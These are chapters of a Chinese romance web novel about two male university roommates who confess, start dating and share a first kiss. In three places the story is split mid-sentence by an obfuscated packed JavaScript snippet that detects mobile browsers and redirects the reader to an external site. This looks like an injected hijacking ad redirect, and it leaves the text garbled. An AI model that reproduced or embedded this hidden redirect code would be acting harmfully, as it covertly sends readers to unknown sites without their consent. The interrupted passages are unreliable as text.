:“这对你来说有点突然,我不是现在就要答案,我就是……忍不住想告诉你。” “你不用有负担,如果你不愿意……”他停顿了一下,落寞一闪而过,快得几乎让人察觉不到 :“那我就搬出宿舍,所以你不用有压力,也不用担心什么。” “这是一件很单纯的事,你觉得行就行,不行就不行,没想好我就多努力。所以,你能慎重的考虑一下吗?” “不是,不是……”沈知浔大脑一片混沌,原来有超出预期的惊喜,或者接收到的信息量太大,人的大脑并不能一下就反应过来。 谢时泽却以为他是在拒绝,眼里闪动着微弱的光,忍不住问 :“你是不喜欢我吗?” 沈知浔疯狂摇头,他觉得他从来没有这么坚决的摇过头。 谢时泽的眼睛一下就亮了,嘴角翘了翘,拉着沈知浔的手,低声问 :“……那我能追追你吗?” 27.第二十七章 前面谢时泽说的话都不如这句带给沈知浔的冲击要大,明明攥紧的掌心已经让他感觉到了疼,依然让他觉得眼前的这一切有些不可思议。 在心里打磨斟酌过无数遍的话突然派不上用场了。 但就算由沈知浔表白,他想过的最好的结局也就是谢时泽答应罢了。 除了这个,他没有想过还有更好的可能。 可是当这件事真正的发生在现实生活中,一瞬间,他觉得他像是个被上天眷顾的人。 沈知浔一直不觉得自己有多么幸运,可是此刻,站在谢时泽面前,对上他带着一丝忐忑、紧张的眉眼,他突然就觉得,原来被喜欢的人喜欢着,是一件如此幸运的事。 他轻轻从胸腔里呼出口气,郑重地摇了摇头。 谢时泽眼里的光一瞬间明明灭灭,像是竭力忍耐不让沮丧的情绪流露出来 :“……是不行吗?” “是不用。”沈知浔慢声说,弯起了一点嘴角,一个很浅却又不容忽视的笑容,他漂亮的眼睛亮起了细碎的光 :“不用追,因为我——” 他停顿了下来,不用再去感受等待被告白的人的回应带来的忐忑、揪心,取而代之的是另一种激动、喜悦中夹杂着的羞涩,脸也微微泛起了红晕 :“因为我也喜欢你。” “谢时泽,我喜欢你。” “或许我的喜欢还早在你之前,但是我是一个纠结、犹豫、会希望有万无一失的把握的人,可是现在也没有什么好犹豫的了。” 谢时泽只觉得心跳的声音如擂鼓,周围的一切都消失了,他的眼里只能看到沈知浔,翘起嘴角,说话不疾不徐,眼睛里像落进了繁星的沈知浔。 谢时泽也是第一次跟人告白,他也没有经验,他也紧张,他没有想太多,只觉得喜欢一个人并不是什么不能说出口的事情。 多么美好的感觉,像飘在云端,胸口有一只小鹿怦怦乱跳,所以他坦然、诚实、勇敢的将这份心意说了出来。 他当然知道两情相悦的概率很低,知道爱情是不讲道理的,不被回应才是常态。 所以他想过如果不被接受,他要怎么办,最差的结果就是搬出宿舍,可你要问谢时泽后不后悔,他还是不后悔,如果我不把这份心意告诉你,那我就永远得不到答案。 可他得到的答案比他预想的还要好上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118211|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千倍。 沈知浔看着谢时泽亮起的眼睛,上前一步,认真地说 :“谢时泽,我没有谈过恋爱,第一次喜欢人,做我男朋友吧。” 或许很少有人像他这样,被喜欢的人先告白,再拿着保证能拿到满分的答案写在试卷上。 谢时泽看着他,一本正经的表情,脸泛起了一层淡淡的粉色,他牵着沈知浔的手,嘴角一点点扬了起来,心满意足得像得到全世界最甜的糖果 :“嗯,我也没有谈过恋爱,但这事应该是本能,也不太难吧。” “沈知浔,我的男朋友,你好。” 他说的认真,眼睛弯起,一眨不眨地望着他。 沈知浔感觉脸上热意蔓延,耳尖滚烫,看谢时泽两眼,又微微垂下眼,喃喃地说 :“有件事我想做很久了。” “?” 谢时泽稍稍歪头,露出了些许疑惑,嘴角还是上扬的。 沈知浔稍微有点不好意思,又觉得这是一件理所应当的事,他抬手摸了摸滚烫的耳尖,上前,伸手紧紧抱住了谢时泽。 声音又低又软,还带着点得偿所愿的满足 :“谢时泽,我想抱你,很久很久了。” 28.第二十八章 谢时泽微怔,然后毫无犹豫地回抱住他。 他觉得这个怀抱和以往不太一样,带着点以前没有的眷念,像是一只一直在天空翱翔的幼鸟,虽然偶尔下雨会停下来在这方屋檐下躲雨,可你知道它依然是自由的。 这只是它短暂的栖息地,它迟早会再次飞向天空,去看各种各样的风景。 可是这个拥抱带给谢时泽一点踏实感,那只只是借他屋檐躲雨的幼鸟,在他心底筑起了巢。 踏实感涌上了心头,谢时泽才后知后觉,原来他是这样想的,原来他潜意识里将沈知浔当成一只自由自在的飞鸟。 因为怕冷的拥抱也好,两人怀揣着同一个梦游的小秘密也罢,还有那些若即若离的靠近、离开。 谢时泽通通照单全收,好像对沈知浔的行为秉持着“都行、可以、没关系”的态度,却在确定关系后沈知浔说想抱他很久很久了,感觉到了踏实。 谢时泽的嘴角慢慢扬了起来,任谁来看都会被他身上愉悦的气息感染。 他从来没有谈过恋爱,对爱情也没什么要求,可从这么多年都没有开窍过来看,没有要求才是最大的要求。 但是现在,他突然觉得。 或许,他比他以为的时间,还要早喜欢上沈知浔。 这次抱的时间稍微长了点,沈知浔很喜欢谢时泽身上暖融融的气息,像是无时无刻都在吸引他,也很喜欢他身上春天的味道,但他们还在外面。 也有一种“反正人都是他的了,他以后想怎么抱就怎么抱”心理,念念不舍地松开了。 沈知浔的耳根有点红,不自在的抬手碰了碰 :“走吧,你不是还有课吗?” “哦,嗯。”谢时泽反应迟钝了半拍,看着沈知浔,嘴角情不自禁地弯起。 沈知浔看他一眼,目光跟他对视,像是被烫到了一样,慌忙移开,咬了下唇,又忍不住朝他看过来,转瞬,像被感染到一样,嘴角也慢慢弯起。 明明没有说话,只是对视一眼,可空气中就好像有什么东西噼里啪啦的作响,连对视一眼都会一路火花带闪电。 沈知浔干脆垂着目光,不去看谢时泽了,他没有谈过恋爱,也不知道别人刚确定关系时是怎么样的。 却不知道他这样反而将他红得不行的耳尖暴露在谢时泽眼皮子底下,偏他还装出淡定的样子 :“走吧。” 谢时泽弯了弯眼睛,也抬手摸了下自己的耳垂。 两人沿着路往学校走,走着走着垂在身侧的手不经意碰到了,沈知浔发誓,他这次真的不是故意的。 谢时泽也微微一愣,沈知浔手的温度一向比一般人要低一点,他倒不会觉得冷,只是思绪乱了阵脚。 没在一起时牵手、拥抱都很自然,在一起后碰到了手反而变得不好意思,可是转瞬,他想到沈知浔手指的温度,伸手,慢慢牵住了沈知浔。 沈知浔感觉谢时泽的手指先是攥住他的手指,然后再一点点往上移,最后变成了十指紧扣。 - 回去的路上,谢时泽都牵着他的手,大摇大摆,没有想过要躲避什么,遇到有人朝他们投过来视线,就大方地朝对方笑笑,最后反倒搞得别人不好意思看了。 沈知浔刚开始还有点不自在,但最后像是被谢时泽坦然的态度感染,他也装出一脸淡定。 对上好奇、疑惑、惊讶的眼神,一副“对,我们就是谈恋爱了”的态度。 沈知浔性格其实没有这么坦然,看着果断,心里也会想很多,但是谢时泽太过坦荡。他就会觉得,两个单身的人谈恋爱,是和任何人都没有关系的。 没什么好顾虑的。 … 回到宿舍,宿舍里没人,沈知浔一路上都在杂七杂八想很多东西,回过神后看着同样回到宿舍的谢时泽 :“你不是有课吗?” 谢时泽像是才反应过来,啊了一声,眨了眨眼,随后抓到救命稻草一样,去书桌前拿了一本书 :“那我走了,晚上见。” “晚上见。”沈知浔说完,下意识地问了一句 :“你等会儿的课在哪栋教学楼?” 谢时泽顿了顿,说了教学楼的名字,沈知浔慢吞吞地哦了一声,他下午没课,正在想一个计划的可实施性。 谢时泽都拿着书要往宿舍外走了,又停住,回头揉了揉沈知浔的脑袋。 看着沈知浔茫然地抬起眼睛看过来,漂亮剔透的眼睛像小时候男孩子梦寐以求的玻璃珠,扬起唇角 :“晚上要降温,就待在宿舍,行不?” 计划赶不上变化,沈知浔呆了一秒,不知道他怎么看破的,轻轻点了下头。 谢时泽忍不住又在他脑袋上揉了揉,笑了起来,他觉得沈知浔像看着冷冰冰,身上还凝结着冰的小熊,接触起来却柔软又可爱,真的很讨人喜欢。 很讨人喜欢的沈知浔在宿舍的门关上后,脸慢慢红了,想到谢时泽揉着他的脑袋,微微低下头,嘴角含笑直直望进他眼底的样子,他咬了咬唇。 站在原地脸红了几秒,才受不了的去卫生间用冷水降温。 爱情不仅能让人失智,还能让人无视寒冷。 沈知浔在宿舍画着练习,收到阮兆兴的消息 :[怎么样怎么样?] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123153|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [他有没有吃醋,有没有占有欲大爆发?] [进展有没有快一点?] 沈知浔放下画笔,嘴角上扬 :[我们在一起了。] 阮兆兴 :[!!!!] [你们这是什么神速?] [我以为你们还得拉扯一阵子呢,这速度也太快了![秀还是你们秀]] 沈知浔倒不觉得快,他有种得偿所愿的感觉,谁会嫌弃愿望实现的太快了呢 :[还好吧,我觉得这样就、刚刚好。] 他想跟谢时泽告白的时候,谢时泽刚好发现喜欢他,然后很直率地向他告白,彼此都得偿所愿。 阮兆兴 :[那倒也是,谈恋爱总归一件高兴的事。] 沈知浔 :[你什么时候有空,我想请你吃饭。] 阮兆兴 :[嘿嘿等我有空的时候提前告诉你,放心,你脱单这样的大喜事,我肯定会狠狠宰你一顿的。] 沈知浔 :[ok。] 两人随意闲谈着,阮兆兴又问了一些细节,得知是谢时泽跟他表的白,不禁感叹校草真的是一个进展神速的人,又知道告白后沈知浔就抱了他一下。 阮兆兴的恨铁不成钢快要从屏幕里冲出来了 :[就抱了一下?就没别的了???] 沈知浔不解 :[还要有什么?] 阮兆兴 :[一般告白成功,不是多少会kiss一下吗?我看电视剧都是这样演的。] 沈知浔脸微红 :[不一定吧,刚告白就亲,不会太快了吗?不是还有牵手、拥抱这些过渡吗?] 发完这段话,沈知浔看着牵手、拥抱这两个关键词,如果这两个是过渡期,那他和谢时泽不是早就过了这个阶段? 阮兆兴 :[好像也是,慢慢来也挺好。] 沈知浔松了口气,果然他们是正常进度。 不料阮兆兴话锋一转 :[只是我看的电视剧都是刚告白接吻,两个人都很激动,气氛又很好,亲起来超级甜蜜!] 他一边打字一边跟着乐,看朋友谈恋爱比自己谈恋爱还有意思,八卦的揣测 :[可能校草当时想亲你,但你却抱住了他,也说不一定。] 谢时泽想亲他吗? 沈知浔情不自禁地伸手碰了碰唇,他最近开始不喜欢自己浅淡的唇色,尽管从来没有人说过不好看,但他也希望能看起来更有血色一点,所以一直在涂润唇膏。 不自觉地抿了一下唇,他脸越来越红,松开手机,把脸埋进臂弯里。 他发现,他不能去想这件事。 因为他心底,竟然是期待这件事发生的。 29.第二十九章 外语系的教室里。 谢时泽的同学看着谢时泽拿着装了一整堂课的课本,笑得捧腹 :“谢哥,怎么课本还能拿错啊,教授在台上讲得口若悬河,时不时看你一眼,你竟然还真能面不改色的装作在低头听他讲的内容的样子。” 同学由衷的佩服,谢时泽成绩很好,常常是班上老师的重点关注对象,拿着一本连颜色都不对的课本,竟然也能装得像模像样。 “老师从刚开始的疑惑,到最后看谢哥淡定自若的样子,自己都怀疑人生了。” 谢时泽微微一哂,听着坐在他附近的同学调侃,也觉得好笑。 旁边去洗手间的同学回来,手里拿着手机,走到谢时泽旁边,脸上露出了一丝罕见的迟疑,看看谢时泽,又看看屏幕上手机的内容。 他盯着手机上说的信誓旦旦的帖子,想了想,还是出声叫了谢时泽 :“谢哥,你要不要看看这个帖子?” 谢时泽回头,听他们闲聊,嘴角弯起的笑容弧度还没下去 :“什么?” 来人把手机递给了谢时泽,谢时泽接过手机,是他们学校的论坛,很多学校都有这种供学生友好交流的地方,只是他几乎没怎么上去过。 上次点进去还是听到大家在讨论上面在票选校草,谢时泽对这些东西不太感兴趣,进去逛了几分钟,其中一半时间都在关注和他票数拉得很近的沈知浔。 艺术系和外语系隔得远,双方又没有什么交集,在此之前谢时泽一直都隐约知道有这么个人,对他的印象也是,艺术系的明日之星、小天才、高岭之花。 那是谢时泽第一次看到“真人”长什么样子。 得知沈知浔要搬来他们宿舍的时候,他心里还隐隐期待了一阵子,怀揣着传闻中的人物要跟他当舍友的期待。 但论坛上真真假假的传闻一大堆,关于沈知浔性格这一点倒真没说错,对方确实是那种清冷的高岭之花,要不是因为梦游和怕冷,可能现在还维持着点头之交的交情。 谢时泽心里感慨良多,简单翻了一下帖子,忍不住翘起唇角笑了起来,这是一篇“爆料贴”,有校友看到他和沈知浔手牵着手回宿舍了。 [楼主亲眼看到谢校草和高岭之花手牵手回去,一路根本不避讳人的,神情坦荡得像小情侣大大方方逛校园。] [谢校草和艺术系的那个高岭之花?这两个人怎么联系到一起的?我对他们的印象还停留在票选校草时两人缠缠绵绵、你追我赶。(话说不同风格的帅哥到底有什么好争的,就不能全都要吗?)] [!!!我也看到了!那个氛围一看就不是兄弟,我赌五毛钱他们绝对谈了。] [二楼你的网速该更新了,我最近都看到他们中午一起在食堂吃饭,谢校草还帮忙排队买饭。] [高岭之花下凡也就算了……修无情道的校草也有破道的一天?] [高岭之花我能理解,校草修无情道是什么鬼?] [我好像懂了……多情似无情对不对!也不是那个多情,就是看着脾气好,跟大家打成一片,好像努努力就有希望,实际上,根本没有谈恋爱那根筋!] [哈哈哈哈看得出众多姐妹们的血泪史了。] [过来人奉劝大家一句,这种男的不要碰,能为你开窍倒还好,肯定宠你爱你,满心满眼只有你一个人。可是不为你开窍,那就是媚眼抛给瞎子看,不喜欢就是不喜欢,强扭的瓜不甜。] [那现在的情况是校草开窍了?] [肯定开窍了啊!!!兄弟和男朋友之间的氛围都不一样,男生勾肩搭背、打打闹闹都很正常。但是浑身洋溢着粉色泡泡,十指紧扣就是不正常!!] … 谢时泽嘴角含笑地看完,把手机还给同学 :“你想问我和沈知浔是不是谈恋爱了?” 同学点头,有点好奇 :“上面说的有鼻子有眼的,而且你难得传出一次八卦,到底是不是真的啊?” 谢时泽态度坦然 :“嗯,我和沈知浔是在谈恋爱。” “!!!” 他的声音不高不低,足够旁边的人听见,闻言,几个男生齐刷刷地朝他看过来。 “你和沈知浔谈恋爱了?那个艺术系的高岭之花?” “什么时候的事?你竟然有脱单的一天,我不是在做梦吧。” 谢时泽人缘很好,刚“官宣”了恋情就被一众男生围住,有打听八卦的、询问进展的,请客吃饭的。 打听八卦和进展的都被谢时泽含糊了过去,听到请客吃饭,大大方方地应了 :“行啊,地方你们选,我报销。” 周围人欢呼一声,有人问他 :“那高岭……不是,沈知浔同学过来吗?” 大家眼巴巴地看着谢时泽,谢时泽眉眼含笑,慢悠悠地拒绝了 :“不,他收祝福就好。” 谢时泽看得出来,沈知浔不喜欢人多热闹的场合。他的同学沈知浔也不熟悉,与其让对方迁就他过来和一桌不认识的人吃饭,不如让对方知道他身边的人知道有他的存在、并祝福就好。 他不觉得这样有什么问题,谢时泽的生活方式一贯比较随遇而安,对另一半也没什么要求。 只希望,和他在一起,他依然能做自己。 - 谢时泽上完课,回去的路上,看到一对牵着手的情侣,往常他不太注意这些,活得没心没肺。 但这次谢时泽目光落在他们身上几秒,情不自禁地想到沈知浔,想今天晚上降温了、不知道他冷不冷、是不是在宿舍画画。 等他意识到自己的思绪越跑越偏,脸上已经扬起笑容,脚步也不由自主地加快。 到宿舍楼下时,恰好与向晓撞上,向晓稀奇地“呦”了一声 :“你也这个点才下课?” 谢时泽叹息 :“是啊,我们学生畜就是这样早出晚归。” 两人随口闲聊着往宿舍走,向晓走着走着,想到今天在论坛上看到的八卦,跟谢时泽吐槽 :“我竟然在论坛上看到别人说你和沈知浔谈恋爱了,你说这扯不扯,我们天天在一个宿舍,你们俩谈没谈我和张康年不知道?” “八卦害人呐。” 谢时泽“唔”了一声,没吭声,他忽然觉得他的同学都知道他和沈知浔在谈恋爱了,向晓和张康年作为舍友还不知道,多少有点说不过去。 谢时泽想了想,拿出手机,给沈知浔发了一条消息。 谢时泽 :[我们谈恋爱的事是不是应该告诉向晓和张康年?] 向晓还在旁边絮絮叨叨,谢时泽“嗯、哦、啊”地敷衍着,沈知浔没回复,应该没看手机,他顺手把人设成了置顶。 回到宿舍,谢时泽视线在宿舍环视一圈,一眼就看到沈知浔的手机放在桌上,而张康年躺在床上,卫生间亮着暖色的灯。 他盯着洗手间的门看了一秒,沈知浔就打开门走了出来,他把脏衣服放进洗衣机里,出来就跟谢时泽对上视线。 沈知浔微微一怔,分开才不过半天,他就没有了白天的从容,连看一眼都会心跳加速,手脚都不知道该往哪儿放。 也不知道别人谈恋爱是不是这样的。 谢时泽扬起唇角,眼睛微微弯了起来。 沈知浔便也抿了抿唇角,跟着露出个很浅的笑,他不太自然的走到自己的桌子旁,看到手机屏幕上跳出一条消息。 打开一看,就看到了谢时泽发给他的消息。 他对公开这件事没意见,反正都在学校牵着手大摇大摆的走过了。 没怎么思考,就回复 :[说吧,都在一个宿舍,应该也很难瞒过他们。] 谢时泽收到消息,抬头看向向晓和张康年,两人正在讨论要不要去隔壁宿舍打游戏,他走过去,出声打断 :“朋友,有件事要跟你们坦白。” “?” 向晓和张康年两脸疑惑地看过来。 沈知浔这时也走到谢时泽旁边,谢时泽自然而然地牵起他的手,举起来给两人看,笑着说 :“我们在一起了。” 向晓 :“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126844|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ??!!!” 张康年 :“??!!!” 两人如出一辙的惊讶脸,尤其是向晓,他刚刚还信誓旦旦的说两人不可能在一起,结果转眼两人就走到他面前“官宣”了。 他足足愣了好几秒,才合上张大的嘴巴 :“我去,那些人说的竟然是真的……那你们是不是得请客吃饭了?” 张康年也从惊讶中回神,忙不迭地点头。 谢时泽见他们接受良好,嘴角的笑容弧度扩大,从善如流地点头 :“行,时间地点你们定,但是得选大家都有空的时候。” 他今天请同学吃饭,又请舍友吃饭,已经请出经验了。 向晓 :“那是当然。” 他和张康年凑在一起,商量要宰谢时泽一顿什么比较好。 沈知浔看着两人接受良好的样子,抿着嘴唇,感觉手被人捏了一下,侧头对上谢时泽的目光。 趁着向晓和张康年无暇他顾,谢时泽牵着他的手往桌子旁走,低声跟他说 :“现在昭告天下了,能好好谈个恋爱了。” 谢时泽把椅子拉过来,两人距离拉近了一点,沈知浔偏了偏头,他没有谈过恋爱,不知道是不是所有人谈恋爱都这样大大方方 :“谈恋爱就得昭告天下吗?” 谢时泽 :“看情况吧,但是我觉得谈恋爱是一件不用偷偷摸摸的事,这么美好幸福的一件事,就像散喜气、分享幸运一样,能收获祝福,大家也能沾喜气。” 他扬起唇角,眉眼俊秀,浑身上下都洋溢着朝气蓬勃,无一处不吸引沈知浔的视线,让他为之心动。 他是不是可以把这段话理解为——跟他在一起是一件美好幸福的事。 沈知浔定定地盯着他,用视线描绘着谢时泽的眉眼,突然站起身,脚步仓皇地往卫生间走 :“我去洗漱。” 谢时泽看着沈知浔有点匆忙的背影,不解地偏了下头,转瞬,似乎想到刚才看到沈知浔耳垂上的一抹薄红。 - 沈知浔浇了一点水在脸上降温,看着镜子里脸红红的自己,咬着唇瓣,想到刚才谢时泽说话时,他心怦怦乱跳……很想亲近他。 喜欢他。 想要被他抱、被他亲。 沈知浔从来不知道,他在感情里竟然是那个渴望更多接触的人。 他双手撑着洗手台,轻轻地胸腔里呼出口气,忽然听到敲门声,他走过去开门,是谢时泽。 沈知浔探头往宿舍望了望,向晓和张康年不知道怎么去哪儿了,他以为谢时泽要用卫生间,微微侧身让他进来。 谢时泽的目光落在沈知浔脸上,眉头紧锁 :“脸上怎么有水?” 沈知浔张了张口,本来想找个借口,看到宿舍没人,话到嘴边拐了个弯,诚实道 :“……因为我心跳的很快。” 他话题转的猝不及防 :“向晓和张康年呢?” 谢时泽眉间皱起的褶皱还没松开,下意识地回道 :“去隔壁宿舍打游戏了。” 沈知浔眨了眨眼,有水珠顺着他的脸颊滚落,颤抖的眼睫,一瞬间像振翅的蝴蝶,他听见谢时泽的回答,恍惚间像是听见了理智坍塌的声音。 浅浅地呼出口气,伸出手环住谢时泽的脖颈,下一秒,果不其然就被揽住了腰,沈知浔微微仰着头,软声软气地问 :“你不想亲亲我吗?” 谢时泽脑中蓦地炸开了一束束烟花,一瞬间竟然有点大脑空白,只觉得从遥远的时空传来了像是天籁一样的声音。 当对某件事的渴求到达一个顶峰,人就会少了很多顾及,寂静的夜晚,只剩下他们两个人的宿舍,再没有比这更好的时间、地点。 沈知浔拉着谢时泽的手,放在他心脏的地方,那里扑通扑通跳得正欢。他就这样让谢时泽感受着他的心跳,害羞中又带着赤.裸.裸的坦诚 :“它因为你跳得这么快,你不能不负责。” 话音刚落,他的唇瓣就覆上了一个柔软的东西,伴随着的还有滚烫的呼吸,和要将他拆吃入腹的欲.念。 30.第三十章 谢时泽的动作远比沈知浔想的急切,他呼出的气息滚烫,扑洒在沈知浔脸上,像激起了一片燎原的火焰。 带着点青涩、不得入门的急切,牙齿磕到嘴唇上甚至还有点疼。 这一刻,比起充满柔情和爱意的亲吻,更像是想要找到入口将心底被勾起的欲.念发泄出去。 大概是察觉到咬到了沈知浔的嘴唇,谢时泽急切的动作都微不可察地僵了僵,生疏、毫无技术可言的亲吻带给喜欢的人的体验并不是那么好。 谢时泽被撩到心头火气,接吻又不得入门,眉眼都多了一丝躁郁,他的动作停了下来,沈知浔睁开颤抖的眼睫,看着近在咫尺的面孔。 他眼睛带着雾气,脸上泛着一层浅浅的薄红,嘴唇远比涂了润唇膏还要红润有光泽。 即便被谢时泽莽撞的行为咬了几口,他也没有一丝不悦,还眨着雾蒙蒙的眼睛问谢时泽 :“不亲了吗?” 谢时泽刚刚拉回一点的理智重回岌岌可危的状态,恍惚间甚至听到脑海里那根弦绷紧发出的嗡嗡声。 因为沈知浔被他咬了几口而升起的心疼,和担心对方第一次接吻就收获到不好的体验等等……种种的顾虑都被丢到天边。 谢时泽感觉这样站着不好发力,知道向晓和张康年去隔壁打游戏去了,短时间内不会回来,俊秀阳光的脸上蒙上了一丝阴霾,搂着沈知浔的腰把他抱到椅子上,放在了自己腿上。 重重在他唇上亲了一口,嘴角上扬,看着像是狂风骤雨即将来临前的假象,磨着牙笑,话都像是挤出来的 :“亲,怎么不亲。” 他说完就一只手按着沈知浔的脑袋,另一只手环住他的腰,嘴上狠话放的凶,可实际上按着沈知浔亲的动作却很温柔。 谢时泽进步神速,已经知道这种事不是靠冲动和蛮力,他耐心下来,像一个耐心蛰伏,用和风细雨的态度一点点进步,引诱猎物慢慢走进陷阱的猎人。 沈知浔就像那只被引诱的呆兔子,丝毫不知前方危险。他只是默默勾紧了谢时泽的脖颈,全身心的沉浸在这个吻里。 好像无论是谢时泽狂风暴雨、还是润物细无声的吻,他都予取予求,因为他真的很喜欢被谢时泽抱着亲。 他从来不知道接吻的感觉这样好。 他被困在喜欢的怀抱里,被喜欢的人吻着,身体、大脑,全身上下每一个能调动的细胞都热了起来,这是从未有过的体验。 好像一下从春天迈入夏天,又像每一寸肌肤都浸泡进了温泉里。 对于沈知浔这样怕冷的人来说,谢时泽的怀抱、他的吻,都带着无法抵挡的魔力,以前还碍于两人只是舍友,他竭力克制,不想给人添麻烦。 可是现在又没有顾及,他可以想亲就亲,想抱就抱,可以对他做他想做的一切的事。 所以,难免就有点控制不住。 控制不住的不止是沈知浔,谢时泽同样有些失控。乖乖软软的男朋友就在自己怀里,给亲给抱,亲重一点也不会反抗,这样无声的纵容只会让贪婪滋生得更快。 谢时泽并不觉得他是什么坐怀不乱的正人君子,他越吻越深入,喉咙吞吃沈知浔口腔里的水渍的速度变快,喉结不住滑动,像是恨不得把他舌根吮麻,整个人都拆吞入腹一样。 因着这份纵容,谢时泽狠狠闭了闭,才松开沈知浔,从胸腔里呼出口气。 沈知浔胸口上下起伏着,舌根被吮到发麻,谢时泽的进步简直堪称神速,刚撞上来时咬得他嘴唇疼,到一寸寸扫荡过他的口腔,他嘴唇都微微发麻,感觉肿了。 他靠在谢时泽肩膀上喘气,谢时泽稍稍平复下情绪,轻轻拍着他的背,柔声道 :“来,我看看嘴唇怎么样了。” 沈知浔从他怀里坐起了一点,给他看自己又肿又麻的嘴唇。 谢时泽亲完了,被撩起的火气也下去些了,看到沈知浔嘴唇的“惨状”,心疼地皱起眉 :“有点肿,是不是得涂点药?” 这么晚医务室早就关门了,他琢磨着叫个跑腿,买点给嘴唇消肿的药。 沈知浔听到他的话,脸后知后觉地红了,人有的时候真的不是由理性控制的,索吻的时候觉得这是理所应当的事,亲完才开始不好意思起来。 连忙摇头,揉了揉发烫的耳尖,垂着头,把脑袋重新埋进谢时泽的肩膀上 :“不要,谁接吻还会给嘴唇上药啊,明天就好了。” 谢时泽没有经验,看沈知浔抗拒的样子,想了想说 :“行,但是如果明天没好,就真的要上点药了。” 沈知浔轻轻嗯了一声,谢时泽想到刚才沈知浔接吻时让他予取予求的态度,忍不住用教育小朋友的语气跟他说 :“沈知浔同学,接吻的时候不能这样知道吗?轻了,重了,哪里让你不舒服了都要说,要不然我不小心弄伤你怎么办?” 他苦口婆心地 :“不知道男的都是得寸进尺的生物吗?万一我做出过分的事呢?就算是男朋友,也不能什么都依着。” 沈知浔靠着他的肩膀,听着这一番“肺腑之言”,忍不住弯了弯眼睛,诚恳道 :“可是我没有觉得有哪里不好。” “?” 谢时泽慢慢呼出口气,像面对一个不听话的小朋友一样,打又打不得,骂也舍不得,苦心积虑的跟他说了一堆,他还听不进去。 沈知浔的声音轻轻的,带着些许笑意 :“谢时泽,你没发现吗?是我比较需要你。” 不等谢时泽说话,沈知浔就继续说 :“我喜欢和你拥抱、喜欢你身上的气息,我喜欢你,跟你接吻时全身上下的血液都沸腾起来,好像这时候哪怕有一股狂风吹过来,我都不会感觉冷。” “我喜欢这种感觉。” 作为一个土生土长的北方人,还从小体弱多病,又畏寒,这种一点都不怕冷的感觉,对于沈知浔来说就像是在做梦一样,他难以抗拒的被吸引着。 也前所未有的坦诚。 “跟你相处时的每一次脸红,我也很喜欢,我甚至想过原来喜欢一个人就能不怕冷了啊,早知道这样,我早就喜欢你了。” “可是转念一想,喜欢是件奢侈的东西,并不是随便找个人、随便在任何一个时机就能达到目的,就连看似寻常的脸红心跳,都要有很多很多对你心动的前提下,才会让自己整个人都热起来。” 感情是情绪的开关,没有感情作为基础,他就算知道怎样能让自己不怕冷,也做不到。 他那么坦诚,毫无保留的告诉谢时泽他的感受,谢时泽却感受到了一点心酸和担忧,总担心沈知浔会被骗,会被欺负。明明他就是沈知浔的男朋友啊! 这种感觉就像,担心自己会仗着他对他好“欺负”他一样,哪怕他知道自己不会,也不能让这股担心消弭。 他把脑袋搁在沈知浔肩膀上,感受着并不平静的内心,陷入了这种难以理解的情绪中,却听到沈知浔含着笑意的声音 :“谢时泽,你喜欢我。” “是啊,我喜欢你。”谢时泽承认得坦坦荡荡,心想,这难道还是什么秘密吗? 沈知浔却像偷到了什么好东西的狐狸一样弯起了眼睛,因为喜欢他,才会担心这么多,担心自己“失控”。 沈知浔直起身子,直直地望进谢时泽的眼睛里,四目相对,彼此都能从对方眼里看到自己的倒影,和亮起的光,谢时泽的心突然就静下来了。 因为沈知浔似乎在这方面对他格外纵容,谢时泽不相信他会是什么花心滥情的人。 那就对他好一点,再好一点,好到足以弥补这份纵容。 沈知浔望着谢时泽,目光描绘着他的眉眼,嘴角不由自主地露出一个浅浅的笑容,看着谢时泽似乎下定了什么决心的样子。 他想,不知道谢时泽发现没有,但他似乎比他想象的还要喜欢他。 - 周末,向晓和张康年把这顿饭约在了离学校稍远一点的自助餐店,这家店价格还可以,只是离学校有点远,大家都不常来。 向晓和张康年对他们在一起的事接受良好,过来的路上一直说说笑笑。 只是去拿菜的时候,看着谢时泽自然的去帮沈知浔拿菜,微微低头跟沈知浔说话,说哪儿有什么菜品的样子。 还有吃饭时两人一些自然而然的举动,明明没做什么,却很泾渭分明的和他们这些单身狗区分开。 向晓仿佛已经预感到了接下来水深火热的宿舍生活,又忍不住羡慕 :“感觉自己好多余,搞得我也好想谈恋爱。” 张康年咧嘴 :“你没上清北是因为你不想吗?” 向晓瞪张康年 :“你这话说的,舔一口自己的嘴唇都会被自己毒死了吧。” 两人在旁边打闹,谢时泽看着两人眨了眨眼,他们提醒了他,四人宿舍,其中两个人成为情侣其实是有些不方便的。< 